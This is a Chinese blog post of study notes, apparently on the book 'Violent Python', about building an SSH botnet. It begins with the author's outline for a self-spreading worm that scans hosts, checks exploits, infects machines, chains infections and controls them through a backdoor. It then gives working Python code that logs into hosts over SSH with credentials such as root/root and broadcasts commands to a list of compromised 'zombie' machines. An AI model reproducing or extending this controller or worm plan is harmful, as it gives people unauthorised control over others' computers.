Python绝技学习笔记-构建ssh僵尸网络

先记录一下我自己像写的一个超级大木马蠕虫的思路。请自行忽略

1.本机电脑扫描探测其他电脑

2.使用poc验证是否存在漏洞,同时检测是否已经被感染

3.如果都满足,感染未感染同时又存在漏洞的机子。

4.感染后的机子下载代码。继续以上过程(这样是一台控制几台,几台又控制几台,可以开几台,形成循环。而且不互相知道)

5.如何控制自己的这种僵尸网络呢?(开一个特殊的后门)发送一条指令,一传十,十传百。主机信息怎么传递,可传输指令,运行github上的恶意代码,交替运行,由控制端随机选择哪几台机器运行?

正题:

1.正常的僵尸网络,是一台机器控制所有的肉鸡。

这里用一个全局变量BotNet=[]记录所有的肉鸡对象

用addClient()向BotNet里添加新的肉鸡

botnetCommand()是给新加的肉鸡指令。

定义一个client,就代表这一个肉鸡,可以连接一台远程的机器,并在本地执行命令。

 

这段代码并不是木马蠕虫,并不能实现自动传播。如果要实现自动传播,还需要和之前的暴力破解ssh结合在一起,修改代码。

client

代码:

from pexpect import pxssh
import getopt

class Client():
    def __init__(self,host,user,password):
        self.host=host
        self.user=user
        self.password=password
        self.session=self.connect()
    def connect(self):
        try:
            s=pxssh.pxssh()
            s.login(self.host,self.user,self.password)
            return s
        except Exception as e:
            print str(e)
            return "Error Connection"
    def send_command(self,cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
botNet=[]
def addClient(host,user,password):
    client=Client(host,user,password)
    botNet.append(client)
def botNetCommand(command):
    for client in botNet:
        output=client.send_command(command)
        print "output from"+client.host
        print "[+]"+output+"\n"

addClient('192.168.10.154','root','root')
botNetCommand('uname -v')
botNetCommand('cat /etc/issue')

你可能感兴趣的:(Python绝技学习笔记-构建ssh僵尸网络)